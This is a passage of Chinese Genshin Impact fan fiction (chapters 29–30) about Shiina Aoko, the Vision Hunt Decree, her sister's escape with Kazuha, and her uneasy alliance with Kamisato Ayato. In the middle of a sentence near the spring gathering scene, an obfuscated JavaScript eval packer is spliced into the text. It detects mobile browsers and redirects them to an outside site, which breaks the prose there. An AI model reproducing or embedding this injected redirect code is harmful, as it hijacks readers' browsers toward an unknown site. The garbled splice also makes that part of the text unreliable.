眼狩令,想来又是愚人众伙同勘定奉行、天领奉行那些人搞的鬼。定是又搬出“维持永恒”的借口,哄骗那位不通人情世故的人偶将军签下了法令。 岩藏光造是一位纯粹的武人,更是自小信奉鸣神威光,光凭冈崎寅卫门几人,如何能说服这位视将军意志为圭臬的师父? 椎名青子听完,眉头紧锁,片刻后沉声道:“我知道了,我稍后便去道馆一趟。” 仿佛得到了主心骨或最有力的支持,冈崎寅卫门顿时松了口气:“拜托你了,小师妹。” 眼狩令的实际执行存在“内外有别”的潜规则,对平民和非体制内人员严格收缴,对幕府核心成员则网开一面。 例如天领奉行的大将九条裟罗,以及社奉行的神里兄妹,都未被收缴神之眼。 通过收缴人们寄托于神之眼中的愿望来维持所谓的永恒?勘定奉行及其背后的愚人众的胃口,竟已膨胀到如此地步了吗? 椎名青子心中冷笑,真是贪婪至极。 29. 海棠醉日(六) 随着眼狩令的颁布,民间的反抗情绪日益高涨。椎名青子听闻,一位无名武者竟闯入天守阁挑战将军,最终殒命于将军的无想一刀之下。 在将军追寻的永恒面前,凡人的愿望又算得了什么? 原本还算安稳有序的道馆,瞬间分崩离析。岩藏光造执意上缴神之眼,这并非旁人劝阻就能改变其心意的事情。 椎名青子甚至听闻师父要将两位已达“免许皆传”境界的师兄,柳叶岚士和冈崎寅卫门逐出师门。 得知此事,椎名青子内心充满了无力。仅仅失去了神之眼,岩藏光造的精神状态便肉眼可见地一天不如一天,眼神时常变得空洞迷茫。 她想,这就是寄托于神之眼的愿望所付出的代价吗?神之眼,究竟是恩赐还是灾祸? 她缓缓拔出了腰间的千鸟,岩藏流刀法的精髓在于心境澄澈,内心不能有一丝迷惘,方能施展出凌厉剑技。 因此,门内弟子间流传着一个心照不宣的规矩:唯有在公平对决中证明自己信念的胜者,才有资格向师长提出质疑或请求。 此刻的椎名青子身着素色便服,衣襟绣着稻妻特有的海浪与樱花暗纹。她拔刀指向师父,声音清冽:“师父,您此刻的刀中,可有迷惘?请容弟子一试!” 千鸟刀身细长,装饰简洁,寒光流转。她行了一个标准的剑道起手式,“请师父赐教!”话音未落,身形已如离弦之箭,疾速冲向岩藏光造,刀锋划破空气。 两道身影在道场中交错腾挪,刀光如电,破空之声不绝于耳。岩藏光造的招式依旧老辣,却失了往日的行云流水与一往无前的气势。 椎名青子的刀法则如疾风骤雨,精准而迅捷,每一次碰撞都逼迫着对方显露破绽。 稻妻武士对决讲究堂堂正正,不趁人之危。只见岩藏光造在一次激烈的交锋后,被震得踉跄后退,不得不一只手撑着膝盖,另一只手拄着刀才勉强稳住身形,气息微乱。 椎名青子收刀而立,目光清冷:“师父,您的心……乱了。” 她没有动用神之眼的力量,这完全是两个人最纯粹的刀术与心念的碰撞。 旁观的冈崎寅卫门和柳叶岚士看得如痴如醉,对于他这般境界的武者,观摩此等高水平的对决,本身就是难得的领悟。 回程路上,途经白狐之野,恰巧听闻一阵激烈的打斗声。 稻妻民间曾私斗成风,伤亡惨重。为遏制此风,雷电将军颁布法令禁止私斗,规定若有不可调和的矛盾,须通过“御前决斗”由将军亲自裁决。 胜者可陈述己见,败者则承受神罚,然而私下的小规模冲突仍时有发生。 身心俱疲的椎名青子本不欲理会,但当她走近巷口时,却敏锐地捕捉到一股熟悉的水元素波动气息,那感觉如同清泉流淌,却又带着锋利的剑意。 想到两人眼下尚处于盟友关系,她无声地叹了口气,再次握紧了千鸟,刀柄传来熟悉的微麻感。 果然没有猜错,在那巷中与人缠斗的,正是社奉行的家主神里绫人,围攻他的数名蒙面武士招式狠辣。 椎名青子毫不犹豫,拔刀出鞘。千鸟划出一道清冷的寒光,如月光乍泄,精准地切入战局,瞬间格开袭向神里绫人后心的致命一刀。 无需言语,神里绫人的水形剑灵动多变,制造破绽与束缚;椎名青子的刀法则迅若雷霆,精准地抓住每一个稍纵即逝的机会给予对手重击。 刀光剑影交错,水华与寒芒共舞,围攻的武士在两人的配合下溃败。 等最后一名武士倒地,椎名青子利落地收刀入鞘,发出一声清越的铮鸣。她对神里家的私事并无探究的欲望,更无意过问。 “多谢援手。”神里绫人理了理微乱的衣襟,气息平稳地道谢,周身的水汽迅速收敛。 随即吩咐闻声赶来的终末番下属迅速处理现场和伤员,此刻的他,衣袖不染纤尘,神情依旧从容,仿佛方才的激战从未发生。 椎名青子看着他这副俊逸出尘的模样,心中不由想,即便神里家真到了山穷水尽的地步,单凭这位家主这份气度与风采,也足以····· 他们沉默地同行了一段路,离得近了,椎名青子能感受到对方身上泠泠的气息。 等到了椎名府邸附近的岔路口,她怀抱千鸟,对神里绫人微微颔首,随即脚踏木屐,身影消失在暮色中。 盯着椎名青子远去的清瘦背影,神里绫人眸色微深,不知在想些什么。 此后,椎名青子接纳了柳叶岚士、冈崎寅卫门两位师兄,以及尚在门生阶段的冈崎久仁彦。 至于师父岩藏光造,听闻他要去追寻自己心中的“道”,剩余几位门生和师范弟子则选择继续追随他。 情与义,如何两全? 若不能两全,便只能各寻前路,但求无愧于心。 道馆彻底散了,那块地契被椎名青子不动声色地买下。 与青子不同,椎名汐自幼所练的刀法并非精深的岩藏流,而是稻妻最为基础的防身刀术。一来椎名汐志不在此,二来,青子认为妹妹只需拥有自保之力便足矣,不必强求。 然而,她万万没想到,一向温顺的妹妹竟会惹出如此大的麻烦。 椎名汐的居所,全然不似寻常贵族小姐的香闺。除了基本的卧室、客厅、更衣室外,其余空间几乎被改造成了一个小型药房,堆满了各式草药、医书和制药工具,空气中常年弥漫着药草和提神醒脑的熏香味道。 此刻,她的卧榻之上,躺着一个陌生的身影。 “汐子,我需要你给我一个解释。”椎名青子声音低沉,这已不知是第几波因眼狩令而被妹妹偷偷藏匿的人了。 椎名汐正眉眼柔和地调配着药方,闻言头也不抬:“姐姐,他是那位御前决斗牺牲者的好友。” 她手上的动作未停,苦涩中带着清冽的药香在两姐妹之间静静弥散。 “我想……我是敬佩这样的人。”她终于抬起头,眼中是椎名青子熟悉的、近乎固执的纯粹,“姐姐,我知道三奉行的核心成员可以凭借身份特权而无视眼狩令。对大多数没有神之眼的平民来说,收缴令或许无关痛痒。” “可我不明白,为什么拥有神之眼的人就要遭受这样的对待?” 这个被保护得太好的孩子,无法理解世间为何会有如此残酷的禁令,为何要有眼狩令这种东西。 她原本只想尽己所能救助伤者,却发现自己的力量在稻妻当前的局势下,渺小得如同投入怒海的一粒沙。 椎名汐皱着鼻子,声音带着哽咽:“我不想总是依靠你,姐姐。我也想成为你的依靠,但是……我做不到,除了这点还算拿得出手的医术和这没用的善心,我根本帮不到你什么!” 她想,她或许是羡慕神里绫华的,羡慕她能真正分担兄长的重任。 而不是像自己,对政局变幻迟钝不敏,连贵族礼仪都学得马马虎虎。她安静地研磨着药粉,却在向椎名青子无声地求救:我该怎么办?我到底该怎么做,姐姐? 椎名青子凝视着妹妹柔和却坚定的眉眼,心头一沉。在这风雨飘摇的局势下,她可能……无法周全地保护妹妹了。 不知为何,她想起了见到母亲的最后一面,如月七绪虚弱得连睁眼都困难,身体轻得像一片羽毛,脸色苍白得毫无生气。 而后,椎名青子抬手,轻轻掀开卧榻旁的纱幔。里面的人不知何时已醒来,显然听到了她们的对话。 那双枫叶般赤红的眼眸平静地望了过来,腰间悬挂着两枚神之眼,其中一枚雷属性的已然光芒尽失,宛如灰暗的石头。 “很抱歉,给你们添麻烦了。”他声音沙哑地开口,带着真诚的歉意。 椎名青子眼神平静,几乎在瞬间做出了决断:“我会找船送你尽快远离稻妻。” 她转头看向妹妹,“汐子,到时候,你也去。” 正低头研磨药粉的椎名汐动作停顿,猛地抬头,脸上写满抗拒:“我不愿意!我要留在你身边!” 这样的局势下,她怎能忍心让姐姐独自背负一切? “不,汐子,”椎名青子语气带着一丝不易察觉的颤抖,“只是让你和我一起护送他而已。” 她轻轻拂开妹妹的手,目光沉静地转向榻上之人,“如果我没猜错的话,想来阁下应当是枫原万叶。” 天领奉行的通缉令贴满了稻妻城,他的画像和特征早已不是秘密 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椎名青子稳稳接住软倒的妹妹,一手抱着她,另一只手的指尖带着眷恋拂过妹妹的脸庞。 “我妹妹……就拜托你了。” 仿佛察觉到万叶眼中强烈的困惑与疑虑,椎名青子提高了些许音量,“我相信你,也相信神里家的眼光。”她如是说道。 夜色如墨,海浪猛烈地拍打着隐秘的码头,空气中弥漫着咸腥味。椎名青子目送着那艘承载着妹妹与逃亡者的小船在嗡鸣声中逐渐远去,最终没入那片永恒不息的雷海之中。 一个身影悄然从她身后走出,无声地来到她的身旁,与她并肩而立. 椎名青子沉默良久,方才开口,声音听不出情绪:“你那边的事情,处理完了?” 话音未落,她猛地转身,一把抓住神里绫人的衣领。力道之大,几乎将他拉至眼前。 她直视着对方那双依旧含着从容笑意的眸子:“下次,若再让我发现你利用我妹妹作为掩护或棋子……” 她手指关节因过度用力而泛白,“我想这早已超出我们‘礼尚往来’的界限了吧?” 以往,她的神情总是温雅得体的,唇角常噙着一抹恰到好处的浅笑。此刻,那层精心维持的假面被彻底撕破,展露出其下锋利如出鞘刀刃般、真实的自我。 椎名青子绝不相信,妹妹在绀田村义诊时“偶遇”那么多恰好需要藏匿的、被追捕的神之眼持有者,以及每次那些神之眼持有者总都能顺利搭上出海的船只. 会是纯粹的巧合,这背后必然有推手。 更何况,她分明记得,枫原家,本就是神里家世代效忠的附属家族。 出乎意料的是,神里绫人听了她这番近乎威胁的话,非但没有动怒,反而在这沉沉的夜色中,远方雷暴瞬间撕裂天际光,也照亮了他那张被电光映得忽明忽暗、深不可测的脸。 他微微侧过头,声音低沉:“青子……你不是早就想将汐子送出这片漩涡了吗?” “我只是……提供了一个更安全的途径和理由。” 这声过于亲昵的“青子”,实在不该出现在此情此景。椎名青子心头一凛,下意识地靠得更近,几乎能感受到彼此温热的呼吸。毫无疑问,对方有着一双洞察人心、深不见底的眼睛。 她压低了声音,温热的气息如丝如缕地缠绕在两人之间,她学着神里绫人的样子压低声音,:“……绫人。” 她刻意加重了名字的咬字,“你也不想让我把你私底下那些小动作,抖露给天领奉行吧?”她能感受到对方鬓边几缕微凉的发丝拂过自己的脸颊,带来一丝奇异的痒意。 仿佛被她的威胁逗乐了,神里绫人竟低低地笑了起来,胸腔传来轻微的震动。而后,他收住笑声,只余一声几不可闻的轻哼,“你舍不得的,”他笃定地说。 你舍不得让稻妻陷入更深的混乱。 也舍不得毁掉这维系你我、乃至稻妻仅存一丝安稳的脆弱同盟。 他微微前倾,声音轻得如同耳语,却字字清晰:“至少现在,我们同路。” 30. 海棠醉日(七) 海祇岛圣土化严重,无法耕种,居民只能依靠捕鱼、贩卖珍珠和珊瑚为生。如今贸易萧条,渔业资源也日渐枯竭。 想与幕府开展贸易,对方却态度冷淡,指望救济粮更是天方夜谭。 眼狩令颁布后,海祇岛的困境加剧,连邻近村落也开始出现野伏众的踪迹。活不下去的浪人武士开始落草为寇,打劫路人,成为游荡的匪徒。 椎名汐离去的第三日,椎名青子请几位师兄配合演了一出戏。 她的侍女知鸟假扮成椎名汐,在邻近村落活动时“恰好”遇上了野伏众,并在“恰好”有村民目击的情况下,“椎名汐”跌落悬崖,生死不明。 邻近村落的村民得知此事后群情激愤,纷纷要求天领奉行给个说法。 这件事或许只是导火索。连续三年的锁国令加上眼狩令,粮价飞涨,水果稀缺,渔民出海捕鱼都要担心遭遇雷暴。 社奉行私下散布消息,称将军此举是为考验国民意志。然而,连一向温和善良的椎名汐都因野伏众而生死不明,下一个又会轮到谁?恐慌在人群中蔓延。 愤怒的人群涌向天领奉行讨要说法,最终被九条裟罗压下,这位天领奉行的大将不日登门拜访椎名家。 她到来时,椎名青子正在焚香,清雅的香气在房间内弥漫。 椎名青子起身相迎,嗓音清润,如同被茶水浸润过:“不知九条将军可是为汐子的事情而来?” 她低眉顺眼,肩膀微微颤抖,这让原本准备问责的九条裟罗一时语塞。她直觉此事或有蹊跷,但稻妻当前的紧张局势,确实令人难以喘息。 面对九条裟罗的质疑,椎名青子微微侧头,眼根微湿:“我师父此刻正在九条家教授武艺,于情于理,我都没有捏造此事的动机。” “况且,九条大人应当知晓,我妹妹时常去邻近村落义诊,谁能想到这次……”她话语一顿,声音里带上一丝难以抑制的哽咽。 见她如此情状,九条裟罗也不好再追问。事后,天领奉行带兵清剿了村落周边的野伏众,局面才勉强安定下来。 她的父亲神色疲惫颓然,显然从这次事件中察觉到了什么。 父亲大人,椎名青子想,您最好活得久一些。 出乎意料,紧随九条裟罗之后找上门来的,竟是妹妹的同僚城山。听完他的诉说,椎名青子心中了然,果然如此。 城山坦白:九条家资助他,是为了让他接近勘定奉行鹰司家的新秀鹰司勇,他为此合成了毒药“白霜”。 后来鹰司勇反以城山的家人相胁,逼迫他为自己效力。城山将此事告知九条孝行,九条孝行却想借机用“白霜”毒害鹰司勇。 “我真的……真的不知道该怎么办了……”城山的声音充满绝望。 椎名青子沉默片刻,直接点破:“‘白霜’,你已经交给九条孝行了?”城山无奈点头。 她并不介意将此事告知九条裟罗,以其刚正不阿的性格,必然无法容忍。但在锁国令和眼狩令的高压下,九条家此刻绝不能生乱。看来,只能私下解决。 社奉行表面低调,其情报网络却几乎覆盖整个稻妻城。以妹妹意外身亡,故对其同僚多加关照,倒是个不错的借口。 受制于勘定奉行,九条孝行短期内不会轻易对鹰司勇动手。正好可以借助社奉行的力量解救城山的家人,只是…… 椎名青子垂眸,看向跪在下方的城山,语气平淡无波:“你又能带给我什么?” 她并非汐子,没有对方那般泛滥的同情心。 城山紧咬着下唇,最后猛地双膝跪地,额头重重磕在地上,姿态卑微至极。 “……算了。”椎名青子最终开口,语气依旧没什么起伏,“你以后就接手汐子在邻近村落的义诊事务吧。” 近来,椎名青子对那张总是笑眯眯的脸感到一丝厌烦。她推开木漏茶室的门。这间隶属于社奉行的茶室,通常需要特殊请柬才能进入。 椎名青子对成为这里的“常客”并无兴趣。 今日,神里绫人不在,他的妹妹神里绫华正在茶室内轻声与人交谈,侍女将椎名青子引至雅间外等候。 直到门内的谈话声渐歇,椎名青子才轻叩门扉,得到允许后安静地步入。 见到是她,神里绫华明显有些惊讶,随即示意身后的侍女退下,房间内只剩下两人。 绫华似乎尚不知晓汐子的事情,带着关切试探性地问道:“青子小姐,你看起来有些疲惫?” 椎名青子心中微动,看来神里绫人将妹妹保护得很好。她难得地犹豫了一下,是否要将城山的事情和盘托出。 两人对坐,面前摆放着几碟精致茶点。椎名青子对甜食并无特别偏爱,仅止于能接受的程度。 听完城山的遭遇和椎名青子的计划,善良的绫华眼圈立刻红了,坚定地说:“我会将此事转告兄长的。” 目的达成,椎名青子无意久留,起身准备告辞,却被神里绫华轻声唤住。这位白鹭公主神情间带着一丝不易察觉的羞赧和笨拙的关心:“青子小姐……这些糕点是我自己做的……不知,能否请你尝一尝?” 她似乎觉得自己的举动有些唐突,微微低下头。 椎名青子的眉眼间掠过一丝极淡的、几乎难以察觉的笑意,她自然看得出绫华是在安慰自己。 她依言重新坐下,桌上放着绯樱饼等点心。她拿起一块绯樱饼尝了尝,味道确实不错,远胜她自己所做,“很好吃,绫华小姐,多谢款待,”她坦诚道。 “没……没什么,”神里绫华连忙回应,又补充道,“之前送去的轻小说,第六卷……希望你也喜欢看。” 椎名青子心情尚可地走出木漏茶室,稻妻时局紧张,轻小说作为一种消遣,反倒意外地流行,听说背后也有那位八重宫司的手笔。 那位大人看似随心所欲,实则一直默默关注着尘世。 稻妻春日雅会也兼具男女相看的意味,此次雅会由鹰司家的小姐主办,因鹰司家近来势头正盛,庭园布置得颇为用心,是池泉回游式风格,景致雅致。 这类私人雅会规矩不多,神里绫华便直接坐在了椎名青子身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969837|177785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边。 雅会流程先是和歌,后是弦乐演奏。 在弦会上,男子可为心仪的女子弹奏雅乐,并请女子来跳“盆踊”或“神乐舞”。 椎名青子和神里绫华对这类雅会兴趣寥寥,各自上交了一首中规中矩的和歌后,绫华便凑近青子,小声说起近日的趣闻。 时人崇尚“物哀”,感叹人生无常,接纳宿命必然。 今日和歌主题定为“枯枝”,神里绫华在和歌中却表达了不同的见解:“枯枝的姿态固然萧瑟,但其中亦蕴含着新生的力量,终有一日会绽出新芽。”她的声音虽轻,却带着一种温柔的坚定。 这令椎名青子感到一丝意外,众人皆见枯枝之哀,绫华却看见了枯枝后的生机。 “绫华小姐,”椎名青子唇角微扬,露出一抹浅淡却真实的赞赏,“诚乃玉蕴昆山,清辉独映。” 似乎没料到会得到这样的评价,神里绫华微微一愣,耳朵悄悄染上红晕,有些不好意思地低下头:“青子小姐过誉了。” 此时,雅会进行到弦乐环节。神里绫华容姿端丽,品行高洁,在稻妻城备受爱戴,却也引来了不必要的麻烦。 例如勘定奉行下属松浦家的公子,其家族地位远不及椎名家,却妄图攀附神里家这棵大树。 眼看松浦公子又一次向绫华发出演奏邀请,这已是第三次了,教养良好的绫华虽感困扰,也不好连续拒绝。 以往这种场合,神里绫人总会替妹妹挡下,但绫华终究需要自己成长起来应对。 神里绫华正要无奈应允,旁边的椎名青子却缓缓站起身来。她今日身着千早,气质清冷,不似寻常武家小姐,倒如鸣神大社中侍奉神明的巫女。 她面向绫华,声音清晰平静:“不知可否请白鹭公主为我伴奏一曲?”虽无前例,但雅会本意轻松,众人也未觉不妥。 神里绫华眼中瞬间亮起光彩,立刻应道:“好……好的!”这种被维护的感觉于她而言弥足珍贵。 雅会乐器众多,神里绫华想了想,挑选了一架质地温润的木琴。 椎名青子又向绫华借用了她随身携带的那柄精美折扇,松浦公子见状,只得悻悻然坐了回去。 椎名青子的母亲曾是巫女,神乐舞于她而言自是熟稔。 清越的木琴声响起,椎名青子以折扇半掩面容,目光沉静如水。 正与几位宾客徐行而至的神里绫人,于廊下驻足,目光所及,恰是这一幕。 随着神里绫华纤指轻扬,落在古朴的木琴之上。 琴音如山涧清泉初融,自神里绫华指尖流淌。她坐姿端雅,背脊挺直如雪中青松,神情专注而宁静。 就在这清泠泠的琴音缭绕中,椎名青子身姿轻盈地舒展开来。她的舞姿庄重自持,每一个动作都带着古老仪典般的严谨,没有丝毫轻佻,素色的千早衣袂随着她的旋转与回身而飘飞。 素雅的扇子开合之间,光影在她清冷的面容上流转,带着一种遗世独立的疏离感。 琴音是流淌的河;琴音是拂过松林的清风···